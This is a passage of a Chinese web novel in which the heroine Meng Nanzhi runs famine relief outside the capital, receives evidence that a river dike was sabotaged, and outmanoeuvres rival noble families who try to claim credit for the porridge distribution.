小女孩头发凌乱,小小的脸蛋上全是污泥,抽抽搭搭地止住了哭声,怯生生地跟孟南枝道谢,“谢谢夫人。”
小女孩有一双清澈透亮的眼睛,孟南枝瞬间便想到了她的女儿朝昭。
心中一软,便从袖中取出帕子想要替她擦拭脸上的污泥。
可小女孩却突然扭头躲开了去,低头说道:“夫人,您能不能帮我看看阿嬷,阿嬷为什么还不醒?”
有过养孩子经验的孟南枝,觉得小女孩应是怯生,便没有强求去给她擦脸。
按照她的意思,抬手去探老妇的鼻息,只是手刚碰到老妇的鼻子下方,便猛地一僵。
旋即又定下心,再探过去。
跟在她身后过来的将军见状,也蹲下身子抬手探了过去。
确认是没了气息后,便想要吩咐侍卫把老妇拖走,却被孟南枝禁止。
孟南枝看了眼满情希冀盼着阿嬷醒来的小女孩,对将军道:“先让大夫过来看诊。”
若直接拖走,只怕会给眼前的小女孩留下阴影,还是让专业的人员过来探望过后,再抬走为好。
将军闻言蹙眉,但也没有推脱,对身边侍卫示意把大夫叫过来。
孟南枝趁这功夫,对小女孩劝慰道:“大夫等一会儿过来会为你阿嬷看诊,你要不要先喝点粥?”
小女孩看了眼地上的阿嬷,又抬头看了眼不远处的粥棚,轻轻点了点头。
孟南枝便亲自过去,为她盛了一碗热气腾腾的粥。
小女孩双手接过碗,揣在怀前,眼睛死死盯着碗里冒着香气的粥,吸了吸鼻子,又抿了抿唇,却始终未往嘴里送。
“快喝吧,等会儿就凉了。”见她一直不喝,孟南枝劝慰道。
小女孩摇了摇头,“我想等阿嬷醒来一起喝。”
小女孩的声音有些发抖,一路上,她见到过很多人,倒下后就再也没有起来。
她不希望阿嬷也起不来,她要等等阿嬷
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孟南枝压下喉间酸涩,又去给她盛了一碗粥,“你喝吧,这碗给你阿嬷留着。”
许是她又端来的碗给了小女孩阿嬷还能醒来的动力,小女孩盯了两眼她手里的那碗粥,这才端起碗大口大口地喝了起来。
不一会儿,一碗粥便见了底,连碗底都被舔得干干净净。
将空碗往旁边一放,小女孩立马就伸手去接孟南枝手里的那碗粥,生怕晚一步,她会不给她。
孟南枝任由她将碗接了过去,看她双手捧着碗静静地蹲在阿嬷身前,只觉得双眼更加酸涩。
大夫很快背着医箱过来,与孟南枝和将军见了礼后,就开始为地上的老妇看诊。
停止的脉搏、消失的鼻息、扩散的瞳孔,均已证明老妇已经死亡。
在大夫对着他们摇头之际,小女孩便放下手中的碗,哇哇在哭起来,“阿嬷,阿嬷,你醒醒。”
“你醒醒呀,阿嬷,你说过你会一直陪着我的。”
“阿嬷,你起来吧,我会听你话,不再闹腾着要吃的。”
“你起来看看,我给你留了粥。”
小女孩说着,又端起粥往阿嬷的嘴边送,见她一直不张嘴,无措地嗷嗷大哭。
在另一处粥棚处施粥的曹宛清见状寻过来,试图把小女孩拉起来。
小女孩年纪虽小,但想要阿嬷醒来的决心却很大。
曹宛清根本拉不住她,只得满眼心疼地直掉泪,“南枝,你说百姓怎么能这么苦呢?”
孟南枝看着哭得几乎背过气去的小女孩,眯了眯发酸的眼睛,轻声道:“等灾情过去,便会好了,我们眼下需要做的,便是先让这些灾民有个温饱。”
曹宛清闻言用手帕擦了擦眼角的泪水,认同道:“你说得对,我们得赶紧安排人把老妇妥善安置了,还有这孩子,也得找个去处。”
孟南枝看向还在试图唤醒阿嬷的小女孩,正欲点头,却突然听到城门打开。
转头望去,只见平阳公府的陈夫人带着两车物资赶了出来。
随行的,还有陈家的三公子,甄少兴。
吏部尚书马夫人,和她那位头上还包扎着绷带的宝贝儿子,黄营东。
第118章 怕是要惹上大祸
曹宛清拧了拧眉,不解道:“她们怎么来了?”
太子府已经安排了人手出来设棚施粥,除了太子派系的人,其他府中人理该避一避才对。
眼下才第一日便如此光明正大地出来,难道平阳公府暗地里转投了太子?
光是想想,曹宛清就觉得不可能。
孟南枝唇角暗自勾了勾,“过去看看吧。”
巨幕中太子府施粥吃**被禁足一事,是直到太子故后,才被奕王萧临渊查明真相的。
而真相,就是他当时的最大对手,二皇子下的幕后黑手。
二皇子自然是不肯承认,可人证物证确凿,圣上为此认定他是在故意陷害太子。
气得拿玉瓶砸伤了他的头,还剥了他的王位。
这也导致二皇子满心愤恨,一心想要**,还拉上了自己的长子沈砚修。
所以眼下平阳公府出来参与施粥,孟南枝觉得是好事。
曹宛清虽然不解,却依旧按照礼节,走上前去同平阳公府陈夫人见了礼,“宛清见过陈夫人。”
嘱咐月芹先放下手中帮忙施粥的活计,让她先去照看那名小女孩后,孟南枝也跟随曹宛清身后,同陈夫人见礼。
陈夫人自持身份贵重,只对她们轻轻颔首道:“曹夫人、孟姑娘有礼了,听闻太子府在此济民施粥,我等虽身份不及太子府,但也想着尽些绵薄之力,特地带了些物资前来。”
说话间,陈夫人的目光在排着长队,黑压压的流民身上扫过,眸中闪过怜悯。
甄少兴站在陈夫人身后,目光扫过流民,遮住眼底的厌烦,对孟南枝和曹宛清拱手作揖。
面上笑容温和有礼,道:“见过两位夫人,眼下城外流民众多,此次设棚施粥实乃幸事,我等身为世家子弟,自当共同出力帮大衍共渡难关。”
孟南枝闻言暗自嗤笑了一声,这一句套一句的好听话,跟见他的第一面的满嘴污言相比,哪有一处相似的地方。
吏部尚书马夫人此时也走上前来,对两人深深行了一礼,“见过孟姑娘,曹夫人。”
姿态放得很低,完全没有七巧宴上想要把她污名踩在脚底下的狰狞。
马夫人心中自然是不甘的,她巴不得想要撕下孟南枝脸上那张皮。
可谁让她的父亲升了右相呢。
圣上又对她的儿子另眼相待,京中那么多世家子弟都没轮到随太子出行赈灾的机会,偏偏她的长子不声不响地就被圣上点了名。
这怎能不让人忌讳,和顾忌三分呢。
眼下孟家正处在圣上的心头尖上,没人敢自做聪明的去动孟相的宝贝疙瘩孟南枝。
她马夫人,在夫君吏部尚书的警醒下,此时不仅不能动她,还要理让三分。
思此,马夫人再次压了压心中的愤恨,面上赔笑的脸,勾得更深了些。
孟南枝不喜于她,只轻轻撂了撂眼,便移开视线。
对此,作为代妹主理施粥一事的曹宛清却不能不承她们的情,只得拿出大度的礼节,笑道:“陈夫人和马夫人能够前来相助,是大衍大幸,灾民之福。”
跟在马夫人身后的黄营东环顾四周,神色有些不耐烦,在旁边小声嘟囔着:“安排下人出来走走过场不就行了,为什么非要把我也喊出来,这破地方,又脏又乱的。”
马夫人暗拽了下他的衣袖,转而对着曹宛清赔笑道:“犬子听闻此处灾民众多,特地前来也想为百姓出份力,只是一时不能适应,这才口不择言,望曹夫人莫要见怪。”
黄营东在母亲的示意下,也只得赔笑道:“我身为世家子弟,来此便是想出份力,但没想到流民会如此之多,灾情会如此严重,方才是我失言了。”
话虽如此说,但他眼中那抹一闪而过的嫌弃,却还是被见惯了风浪的孟南枝和曹宛清捕捉到了。
曹宛清与孟南枝对视一眼,顺着她的想法,淡淡笑道:“黄公子有这份心便是好的,眼下施粥正缺人手,黄公子既然有心出力,不妨便搭把手把这车上的物资分发下去吧。”
自南枝回来后,这对母女三番两次欺辱南枝,她是知晓的。
既然他们主动送上门,她曹宛清又不是软柿子,岂会不帮南枝小报一下仇。
黄营东闻言,脸色微微一变。
他来此处哪里真的想做什么事,不过是在母亲的哄骗下,跟
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着她出来做做样子罢了。
但眼下被曹宛清当众如此说,他若拒绝,倒显得他小气了。
正犹豫间,甄少兴已在陈夫人的示意下,笑着开口道:“曹夫人能愿意用我们,那可太好了,我这就和营东一起去把物资分发下去。”
黄营东无法,只得硬着头皮跟在甄少兴后面去分发物资。
心中却暗自埋怨母亲之前曾答应他,要把孟南枝那个**的名声,狠狠地踩在脚底下,却没做到。
如今,竟然又当着孟南枝的面,将他置于如此境地。
当属拌他难堪,不够心疼他。
这厢,马夫人见儿子还算听甄少兴的话,暗自松了口气。
孟南枝的那个长子,以前是和自己儿子一样在京中排不上号的纨绔子弟,眼下他却不声不响地成了圣上眼中的稳重之人。
夫君当日下朝回去便与她置了气,非说她若再惯着儿子整日流连于风月场所,不务正业,闯出好的名声。
便要把那贱妾的庶长子记在她的名下,作为嫡长子,以后继承黄家家业。
而她真正的嫡子,却只能依靠那贱妾生下的庶子生活。
她如何能够忍得,为此痛哭了一夜后,赶去平阳公府寻陈夫人求助。
花费了五万两银子,这才得来了同陈夫人一同前来施粥,试图给儿子争个好名的机会。
陈夫人见甄少兴带着黄营东去搬运物资,扭头看向刚才孟南枝和曹宛清停留的地方,“我刚才看那里有个小姑娘在痛哭,可是出了什么事?”
她这话一上来,便是想夺了曹宛清的**。
曹宛清眸色暗了暗,笑道:“倒也没什么大事,一个小姑娘的阿嬷过世了。”
陈夫人闻言眸色几不可察地闪了闪,面上露出怜悯的神情道:“小小年纪,经历如此灾情,又经丧亲之痛,倒是吃了不少苦。”
但她话锋突然一转,语气无清道:“历来灾情过后,便是大疫,既然那位老妇已经**,还是尽早将尸体处理掉为好。”
“否则放在这里,怕是会滋生疫病,到时候遭殃的不仅仅是这些流民,若是流入京都,怕是要惹上大祸。”
第119章 你们是太子府的人?
巨幕之中,这次流民入京确实曾发疫病。
好巧不巧的,又被陆筝筝和奕王萧临渊共同解决了。
所以,对于疫病的防范,孟南枝是做了充分准备的。
只是眼下被陈夫人提及,明显是想抓住曹宛清的错处。
为此,孟南枝便主动开口道:“陈夫人说得不无道理,只是那位老妇刚刚过世,具体原因还未诊断出来,贸然将其尸体处理掉,恐有不妥。”
“我们刚刚已安排大夫前去查看,待查明死因后,再做定夺也不迟。”
说到此处,孟南枝便自动停下,抬目看向曹宛清。
曹宛清与她配合默契,自然知道剩下的话是要留给她撑场子,便清了清嗓子道:
“疫病之事陈夫**可放心,太子府昨日便派了专人对入城沿路进行石灰消杀,以防疫病滋生。”
“对于死亡之人,也会安排大夫诊断其死亡原因后,分类处理。”
曹宛清面色紧了紧,话留半分余地地接着道:“当然,或许我们的部署尚有疏漏,若陈夫人有任何补充意见,还请不吝赐教。”
陈夫人见她们两人一唱一和地把话已话完,面色有些僵硬,唇角勉强勾了勾,笑道:“太子府安排得如此周全,我自然是没有什么补充意见的。”
“只是这灾情之下,万事都需谨慎。”陈夫人微抬下巴,目光审视一般扫过那位躺在地上的老妇,还有蹲在她身侧的大夫。
故意寻事道:“不过为了避免突发疫病,还是应该再多寻些大夫过来,对这些百姓一一查看,避免有人满而不报,造成漏诊才对。”
曹宛清闻言皱眉,若对这些百姓全部一一诊看,所耗费的人力物力就太大了。
太子此次山城赈灾,已经带走了大量医理之人,眼下陈夫人提及,明显有想趁机参与流民管控,分一杯羹的嫌疑。
然孟南枝却觉得陈夫人此言正中下怀,所以她轻按了一下曹宛清的手背,在她反驳前,先一步开口道:“陈夫人所言极是,为了避免突发疫病,确实应该增加人手。”
顿了顿,她才又为难似的说道:“只是眼下城中大夫已经寻了近半数在城外,凑不出更多的人手,不知陈夫人可还有合适的人选推荐?”
陈夫人满意地看了她一眼,“我平阳公府确实有几位熟知医理之人,若不嫌弃,便让他们一同参与进来,也好帮着查漏补缺,避免出现什么意外状况。”
一旁站着的马夫人闻言,连忙插嘴说道:“我们黄府也有几位熟知医理之人,可参与帮忙。”
话已至此,曹宛清深知孟南枝不会打无准备的杖,便笑着应下,“那我便先替舍妹谢过两位夫人了。”
得了曹宛清的允许,马夫人半个心放到了肚里,对陈夫人越发恭敬。
还是她有办法能参与到安抚流民之中,让她能为儿子博一博好名。
而另一侧,甄少兴已经带着黄营东,将带来的糙米分发到五个粥棚下面。
有百姓在旁边看着,再加上两人都深知出来的目的,也算是实打实地干了活。
待两人过来时,额间都冒着细汗,尤其是黄营东累得双腿发虚,直喘粗气。
马夫人心疼地过去想要扶住他,却被他打开了手,“别管我。”
众人看去,马夫人讪笑了下,为了全善儿子的面子,没再对他表示过多亲昵。
而甄少兴见陈夫人对他微微颔首,便知事情已经办妥。
连忙又对曹宛清和孟南枝拱了拱手,道:“曹夫人,这物资分发之事,我们已经完成,不知可还有需要我们搭把手的地方?”
曹宛清深知他此刻是想急于表现,为了不被他们一来就夺了**,面上不动声色地笑道:“两位公子辛苦了,眼下倒也无其他要紧事,不妨先去歇息吧。”
甄少兴闻言,抬头看了眼陈夫人,得她点头才笑着应下。
陈夫人深知第一日前来,不可表现得太过,便又带着他们,沿途装模作样地对流民嘘寒问暖地以示关怀后,方才离去。
待他们一走,曹宛清的面色便沉下来,“平阳公府这见缝插针的吃相,未免也太过难看了。”
孟南枝同
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样眸色深沉地安抚道:“责任分担,不一定是坏事。”
曹宛清此刻也回过味来,“南枝,你是说这安抚流民还会出事?”
没了陈夫人他们在场,孟南枝说话也就直白了些,“安抚流民,设棚施粥,放在历史上哪次不是大功一件,可这其中暗藏的风险也同样巨大。”
“若处理不当,真的引发疫病或者流民**,那责任可不是谁都能承担得起的。陈夫人她们此刻参与进来,若是之后出了问题,那也得担一份责任。”
她倒是想看看,若支持二皇子的平阳公府也参与施粥一事。
明日的施粥吃**一事,还会不会再发生。
曹宛清虽然觉得天子脚下,不会出什么大事,但对于孟南枝的顾虑,还是非常认可地点了点头。
毕竟自幼起,她们两个一起出去玩,都是孟南枝谋划在先,她跟在后面补充实施。
直到弟弟曹景行也开始加入她们,曹宛清连脑子都不用再动一下,直接跟着他们开干了。
而此时,一直痛哭的小女孩在月芹的安抚下,终于认清了她的阿嬷已经死亡的事实。
双眼无神地抱着阿嬷的尸体,不让任何人碰。
守卫将军深知流民尸体需要尽早处理,便吩咐侍卫强行把小女孩打晕拖下去。
孟南枝终是不忍心,走上前道:“小姑娘太小,将军还是温和处理为好。”
说罢,她便上前蹲下试图劝慰小女孩,“小姑娘,你阿嬷已经去了,若是不尽快处理她的遗体,万一染上疫病,你也会受牵连的。”
小女孩眨巴了两下眼睛,落下一串清泪。
她看着对她一直温声细语的孟南枝,突然怯生生地问道:“你们是太子府的人?”
见她肯开口说话,孟南枝再次温声劝道:“是,我们是太子府的人,不会害你阿嬷的,我们只是想让她入土为安,你也想你阿嬷能安息对不对?”
小女孩得到了她的承认,突然松开抱着阿嬷的手,解开阿嬷的衣领,道:“我阿嬷不是得了疫病,我阿嬷是被人砍伤的。”
第120章 疑似决堤物证
此言一出,孟南枝瞬间心头一跳。
她和曹宛清对视一眼,皆从对方眼中看到了震惊与凝重。
“什么时候伤的?”
小女孩抽涕道:“前日夜里,我和阿嬷快要赶到京都时,在一家破庙里,被人砍伤的。”
一旁侯着的大夫迅速蹲下身,翻开老妇的衣领,果然发现其颈部下方有一道半尺长的刀痕。
确诊是新伤,不超过两日。
虽不致命,但在逃难途中,却很难撑下去。
但她却偏偏撑到了京都,又恰好死在了施粥当日。
孟南枝压下心中疑惑,再次低声问道:“你阿嬷被人砍伤后,可损失了什么东西?”
小女孩仔细地想了想当日夜晚的情形,摇了摇头,“没有。”
顿了顿,小女孩再次问道:“你们真是太子府的人?”
孟南枝皱眉,这是她第二次确认她们是不是太子府的人了。
便蹲下身子,继续同她道:“我们确实是太子府的人,这位夫人是太子侧妃的妹妹,我们便是在她的吩咐下,前来设棚施粥的。”
曹宛清闻言也附和道:“是的,小姑娘,我们确实是太子府的人,不会诓你。”
得了曹宛清的肯定,小女孩突然从怀里,掏出一份被油布包裹的物件递给孟南枝。
“我阿嬷身上什么也没带,但这是我阿嬷前几天快赶到京都时,夜里塞到我怀里的。”
孟南枝虽不知里面包裹着什么,但经过她刚才的再三铺垫,也知道这里面的东西应该有些烫手。
她接过油布并未拆开,而是直接低声问道:“你阿嬷身上为什么会有这个?”
小女孩抬头擦了下眼泪,俱声泪下道:“我阿爷是山城兰县的河工,九曲河决堤前几晚,我阿爷回来说看到有生人在堤坝那里来回转悠,觉得不正常,便报给了村长。”
“村长第二晚带着村里的阿叔阿伯们去堤坝那里看,却再也没有回来,直到第二日我阿爷才满身是血地跑回来。”
“我也不知道阿爷和阿嬷说了什么,阿嬷便收拾东西带着我往村外跑。我阿爷去村里喊其他人,然后……就发大水了,我阿爷被水冲走了。”
小女孩说着说着,便再次哽咽得说不出话来了。
孟南枝把油布递给曹宛清,将小女孩抱在怀里,轻声安抚。
曹宛清接过油布,只打开看了一眼,便已合上,对守卫将军吩咐道:“先把此人的尸体迅速安置,随我到官署,报孟相。”
此事牵扯甚广,已不是她个人能够解决的。
唯有交于眼下总管工部一事的右相孟正德,才能妥善处理。
这也是孟南枝为什么连拆都不拆,就递给她的原因。
既然要将此证送于官署,作为证人的小女孩自然也得跟去。
好在小女孩对面相温婉的曹宛清也算信赖,虽然对于第一个带给她温暖的孟南枝有些不舍,但还是抽抽搭搭地跟着曹宛清坐上了马车。
孟南枝直到天色将暮,确认每位流民都喝上了粥,才带着月芹回了孟府。
江鱼身子骨比较好,后脑的伤恢复得很快,已经取下绷带又在院内舞剑。
身姿轻盈,剑花漂亮,如鱼入水。
见她回来,忙是收了剑,同她见礼,“夫人。”
孟南枝微微颔首,抬目望去。
次子沈砚珩竟然破天荒地坐在书桌前,非常认真地**书。
孟南枝走近了,才发现他是在看历来的绘图书籍。
感觉到身边有人影站下,沈砚珩抬头看到母亲,眼睛一亮,把书籍合上道:“母亲,您回来啦,今日施粥可还顺利?”
“很顺利,你呢,前日里画的地图可有完善?”孟南枝没有在次子面前说些不开心的事。
沈砚珩点头,眉目间的阴郁已经完全展开,带了自信地说道:“已经完善好了,教授夸我进步很大,我明日便会去寻外祖父,让外祖父看一下。”
他这两日,已经在读书中学到了满足与快乐。
只是越读,越觉得自己还差得很远。
知道的知识还太过浅薄,在画图时就越发有些缩手畏脚。
“嗯。”
孟南枝笑着点头,次
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子的变化还是很明显的,对知识有敬畏之心这是好事。
只有拥有敬畏之心,才会在求知路上不断探索,不断精进。
沈砚珩肚子里传来咕噜响,有些不好意思地低下了头。
孟南枝好笑地看了他一眼,“怎么看书看得连饭都忘记吃了?”
沈砚珩笑道:“想等母亲回来一起。”
孟南枝环顾四周,抬头看了眼胡姨娘的院子,询问道:“见你祖姨母了吗?”
往日里,胡姨娘都会第一时间等她回来,今日却没见到她。
沈砚珩摇头,“我散学回来时,祖姨母便不在家,不过我听门房说是出门去绸缎庄了。”
自上次林婉柔不请自来,胡姨娘便又多加了两个门房,都是年轻人。
听到是去绸缎庄,孟南枝便已了然,想是胡姨娘应该是拐到田庄,去探望她那位表侄女了。
便也没有再多想,吩咐月芹赶快安排厨房准备晚膳。
直到她们用完晚膳,胡姨娘才顶着夜色归了府,身后还跟着她那位表侄女,赵佩兰。
前日里见到穿着朴素面相温婉的赵佩兰,今日换上了一身新制的江南蜀锦,乌发盘了时兴的妇人髻,还插上了两根金簪。
整个人的气质瞬间提上来,如同一个当家主母。
在厅堂等胡姨娘的孟南枝见状眸子闪了闪,放下手中的书籍,道:“姨娘回来啦?”
刚进门时的胡姨娘,面色不太好看。
但见孟南枝在等她,忙是疾步上前,面上挂了笑,道:“枝枝,你还没歇下呢?今日施粥可还顺利?”
“顺利。”
孟南枝没在此话题上多聊,看向她身后的赵佩兰道:“赵姑娘这是?”
赵佩兰很是规矩地站在胡姨娘身后,行为沉默,并未多话。
胡姨娘轻轻地瞥了她一眼,转头对孟南枝解释道:“今日不知哪里来的几个泼皮到田庄里滋事,佩兰吓得到铺子里寻我。”
“一时忙得太晚,不好再送她回去,这才将她带回了府。恐怕今日要在府上住上一晚,不枝枝是否介意。”
第121章 此刻莫要生事
胡姨娘这话说得太过见外,不像她往日的作风。
孟南枝目光再次落在赵佩兰身上,见她依旧低眉顺眼,模样温顺,便浅笑道:
“姨娘说的哪里话,赵姑娘既然受了惊,在府上住一晚也是应当的,何来介意之说。”
赵佩兰闻言对着孟南枝深深福了一礼,“多谢孟姐姐。”
胡姨娘面无表情地看她福完礼,便对孟南枝说道:“枝枝,你早些歇息,我去给她准备间客房出来。”
话里话外,都没有让赵佩兰与她过多结交的意思。
孟南枝点头应道:“姨娘只管去忙。”
待两人离去,孟南枝收起笑意,嘱咐月芹把刘嬷嬷寻了过来。
自孟南枝回来后,刘嬷嬷的精气神一天比一天好,面色都红润了许多。
“姑娘,您找我?”
孟南枝让她在自己旁边坐下,“嬷嬷,胡姨娘的这位表侄女是何情况您知道吗?”
原本孟南枝是不想多问的,但想到前日里在绸缎庄时,掌柜就不正常的表情。
再加上胡姨娘对赵佩兰的态度,孟南枝很难不起疑心。
刘嬷嬷想了想,道:“夫人当年为老爷纳胡氏为妾时,曾做过背调,胡姨娘的嫡姐比她年长十岁,嫁给了一名七品县官。”
“只是她那嫡姐命不太好,在生第三胎时,难产**。但好在是孩子活了,也就是胡姨娘的这位表侄女赵佩兰。”
“赵佩兰三岁那年,赵父外出巡查时马惊落入悬崖,尸骨无存。赵家认为她克父克母,便把她送回了胡家,胡家也对她不喜,是胡老夫人一直把她当亲孙女一样养着。”
“待她及笄后,胡老夫人还为她择了夫婿,婚后过得也还不错,生了两个孩子。”说到此处,刘嬷嬷顿了顿,“再后面的,老奴便不知道了。”
胡姨娘刚开始进入孟家那会儿,刘嬷嬷对她有所防备,盯得紧些。
经过这么多年的相处,她已知道胡姨娘为人本分,并不是很向着胡家,所以她对胡姨娘家里的事就没有太过关注了。
孟南枝闻言蹙眉道:“还要劳烦嬷嬷这两日多盯着些。”
因为她的回来,出现了很多变数。
巨幕中并未出现在孟家的赵佩兰突然到来,也不知是福还是祸。
不管是为了孩子,还是为了孟家。
多做些防备,总归是没错的。
“姑娘放心,老奴在府上,定会多看着些。”
刘嬷嬷点头应下,默了一会儿,她又道:“姑娘,管家说给江鱼寻了个走镖的伙计,您看,还让他去吗?”
孟南枝指尖轻叩桌案,轻声道:“不了,让他在府上再养一段时间吧。”
到底是因为他们才受了伤,如此急着把他弄出去,有些过于薄情了。
而且据她观察,江鱼确如次子说所,不像是心恶之辈。
可能真的是同名而已。
两人又说了些锁事,孟南枝便在月芹的服侍下歇下。
笠日,又是阴雨天。
孟南枝起来时,次子沈砚珩便在门口侯着。
他今日穿了一身银灰色的利索锦衣,鞋面微湿,发间沾着雨珠,“母亲,我今日想同您一起去施粥?”
孟南枝替他擦掉发间的雨珠,笑问道:“你不去寻你外祖父看图纸了?”
“我早上已经去过了。”
沈砚珩眉目间全是笑意,可以看出又是被夸赞了。
孟南枝点头道:“那你同我一起吧。”
沈砚珩:“母亲,也带上江鱼吧。”
孟南枝低声看了眼在院中等候的江鱼,轻笑道:“好。”
三人共乘马车出府。
户部终于凑齐第二批物资,由军中精卫送往山城。
城内的粮价水涨船高,百姓们即使有心,也无力再买。
街市空荡荡的,除了寻街的官兵,几乎再无小贩出来售卖东西。
而城门口的流民也越来越多,抬眼望去,黑压压的全是人头。
因着昨日平阳公府的参与,太子侧妃曹宛宁今日便是忍着妊反,也早早地赶到了施粥现场。
同行的,还有皇后娘娘专门为她安排的几名太医。
安抚流民事大,保护皇孙责任也不小。
孟南枝已经从曹宛清那里得
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知,油纸包裹的物证已送到官署交给父亲,而那个小女孩也作为人证被保护了起来。
事态都在往好的方向发展。
眼下唯一可让孟南枝盯着的,便是看看今日施粥是否真的会吃**了。
平阳公府陈夫人一行几人,带着近十位熟识医理之人,赶在巳时前到了城门。
似没想到曹宛宁也在,几人愣了一下,前去同她见礼。
曹宛宁忍着胃中不适,目光扫过她们身后的医理之人,温和笑道:“昨日本宫才向母后请示,想要增召一些理医之士,以便为流民施诊。”
“没想到陈夫人和马夫人今日便将人员送来,真是解了燃眉之急,本宫在此先谢过各位夫人了。”
一句话,便直接夺了她们想要在此占主导权的心思。
陈夫人眸色微暗,却也不得不陪笑道:“侧妃娘娘言重了,能为赈灾救助流民出份力,是我们的福气。”
马夫人却是当下便黑了脸,曹宛宁竟然拿皇后来压她,那她寻得医理之人不就全都成全了她的声名。
曹宛宁却完全不管她们心中所想,转身对孟南枝温和笑道:“南枝姐,还要劳苦你将这些医理之人妥善安排下去,确保每个人都用到实处。”
“是,娘娘。”孟南枝福身应下。
这本也是她和曹宛宁早就商量好的。
不顾陈夫人和马夫人的面色难看,孟南枝直接按照计划,把那些医理之人分配到施粥点前的简易医棚前。
先看诊,再施粥。
如此一来,即便是真的出现吃**一事。
也好区分到底是先有的病,还是先吃的粥。
甄少兴见孟南枝如此安排,面色不愉地站在陈夫人身后,低声道:“母亲。”
陈夫人几不可察地冲他摇了摇头,“忍着,此刻莫要生事,一切等施粥结束后再从长计议。”
甄少兴闻言听话地往后退了一步,佯装无事般站在一旁。
可头铁的黄营东却忍不住,他满是怨毒的眼睛狠狠地瞪了孟南枝背影一眼,拉了拉马夫人的衣袖,“母亲,你答应我的。”
第122章 不听秩序者,打!
马夫人轻拍了拍儿子的手背,目光扫视了一圈流民,突然开口道:“流民们已经饿成这样了,孟姑娘却要让他们先看诊,再喝粥,是不是不太妥当?”
正在安排事务的孟南枝扭过头来,问道:“那马夫人觉得该如何安排?”
马夫人理所当然地说道:“医食分开,有病着的流民自然是该先看病,但那些身体没病的,何不让他们先领了粥,填饱肚子?”
黄营东得了母亲开口说话,也接着说道:“对,人是铁,饭是钢,一顿不吃饿得慌。”
“这些流民本身就已经饿得虚脱了,若再因看诊而误了吃饭,饿出个好歹来,你能担的起责任?”
不待他话音落地,孟南枝便厉声道:“我担得起。”
只是她话锋一转,又冷声问道:“可我想问一问,若是这些流民因生病再食而出个好歹来,马夫人你们担不担得起责任?”
马夫人被她此话问得一窒,半晌说不出话来。
这么大的责任,她只是身为一个妇人,如何能担。
但她头铁的儿子却认为她能担。
黄营东昂着脖子,信誓旦旦地说道:“你能担的,我母亲当然也能担得。”
不过是施个粥,又不是什么大事。
他不信还能吃出个错处来。
孟南枝目光落在黄营东左脸还包扎着的绷带上,乐了。
她正愁寻不到他们的错处,偏偏他们主动送上门来。
思此,孟南枝对曹宛宁福了一礼,“侧妃娘娘,既然马夫人与黄公子觉得这般安排更为妥当,不若就依他们所言,医食分开。”
“可我觉得南枝姐的安排更加合理,陈夫人您觉得如何?”曹宛宁把矛盾点转移给平阳公府陈夫人。
陈夫人闻言垂眉道:“马夫人和孟姑娘各有各的道理,臣妇不好做决断,不若公平起见,各分两处施粥点。”
不亏是游走于各大世家之间的夫人,处事果然圆滑。
曹宛宁暗自嗤笑一声,不过却也正合她意。
于是,她看向马夫人道:“即如此,为了公平起见,那便各分两处施粥点,一半按照南枝姐的安排,先看诊再施粥。”
“另一半则按照马夫人与黄公子的提议,医食分开。”说到此处,曹宛宁语气重了几分,带了几分威严道:“若哪处出了问题,提议之人便要担起责任。”
此话一出,现场众人神色各异。
黄营东眼中闪过得意,拽了拽马夫人的衣袖,示意自己通过努力争来的机会。
马夫人面色并不好看,她只是不满孟南枝,并不代表她愿意承担责任。
可儿子把她架到此处,她若是拒绝,只怕儿子会对她越发不满。
她抬目想向陈夫人求助,可陈夫人目光早已瞥向别处,看也不看她一眼。
无奈,她只得心一橫,点头应下。
儿子说得没错,孟南枝都能担得起,她有什么担不起的。
不就是施个粥么,还能出什么事。
“母亲。”沈砚珩有些担心。
他知道黄营东与兄长不合,怕他们故意寻事。
孟南枝轻拍了拍他的手背,示意不用担心,带着他到施粥点开始部署。
会叫的狗咬不**,不会叫的狗才最可怕。
眼下她并不担心马夫人与黄营东母子。
反倒是平阳公府陈夫人和那位庶子甄少兴,冷静的忍不住让人深思其背后目的。
跟在沈砚珩身后的江鱼,目光扫过甄少兴时愣了一下,抬手捣了沈砚珩一下,“那个人,是谁?”
沈砚珩顺着他的目光望去,“平阳公府的三公子,怎么?你想结交?”
江鱼摇了摇头,“看着不像好人,但感觉好像在哪见过。”
沈砚珩撇了撇嘴,“这你倒是猜对了,他确实不是好人。”
“他姓不姓土?”江鱼又上下打量了他两眼。
“不姓土,姓甄。”沈砚珩拽着他跟着母亲身后,往另外一处棚粥处走,“你别看了,这人心眼小,记仇。”
江鱼小声嘟囔:我也记仇。
认真听母亲讲话的沈砚珩没听见。
江鱼又回头看了他一眼,抬手摸了摸自己的后脑勺。
真不姓土啊,怎么感
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觉应该是土呢?
而在他转过身后,甄少兴却是突然扭头,盯着他的背影看了两眼。
孟南枝这边安排的先看诊再施粥,并不顺利。
主要原因在于,马夫人和黄营东母子那边,直接安排流民施粥。
那些饿极了的流民,看到另一边能直接领到热粥填肚子,哪里还肯乖乖排队看诊。
不少流民开始大声嚷嚷,抱怨不满情绪。
“我们都快饿**,你们竟然还要我们排队看病。”
“我们又没生病,我看你们就是不想给我们吃饭。”
“我们不排了,我们要到那边去。”
“对,不排了。”
场面一度有些混乱。
孟南枝加重了声音劝道:“大家先别急,我保证每个人都能喝到粥,大家只需排队先看诊,确定身体无恙,再进行吃粥。若是有病在身,吃了粥病情加重,只会得不偿失。”
然有些刺头的流民根本不听劝,非要带头往马夫人那边挤。
马夫人看到她那边乱了套,嘴角微微上扬。
终于轮到有孟南枝稳不住的时候了。
黄营东对母亲自得道:“母亲,瞧瞧,还是咱这边的法子管用,你看看他们,乱成一锅粥了。”
甄少兴看向陈夫人,陈夫人仍是不动声色地摇了摇头。
沈砚珩有些顶不住压力,“母亲,我们要不要也先让他们喝粥?”
孟南枝神色镇定,“不,先看诊。”
旋即,她对守卫将军道:“不听秩序者,打!”
守卫将军闻言一怔,他这些时日是听过不少这位孟家女郎的传闻。
原想夸她的那些话都是假的,倒没想到她在如此情况下,还能保持冷静。
当下便一挥手,身后跟着的士兵立刻上前,将那些带头**的流民拦了下来。
有几个试图硬闯的,被士兵们直接按在地上,动弹不得。
流民们见此情景,顿时安静了下来,不敢再造次。
孟南枝目光如冰一般扫过全场,“我再说一次,先看诊,再领粥。谁若再**,便别想领到粥!”
第123章 孟南枝故意在害我们
七月的天,细雨如丝。
打在本就因饥饿而消瘦的脸上,有些生疼。
流民们虽心有不满,却也不敢再出声寻事。
他们深知此刻唯有听话,才能得到热粥充饥。
孟南枝见场面被控制,便转头对次子沈砚珩说道:“珩儿,你和江鱼帮忙维持下秩序,确保每个流民都要做到先看诊,再施粥。”
“是,母亲。”
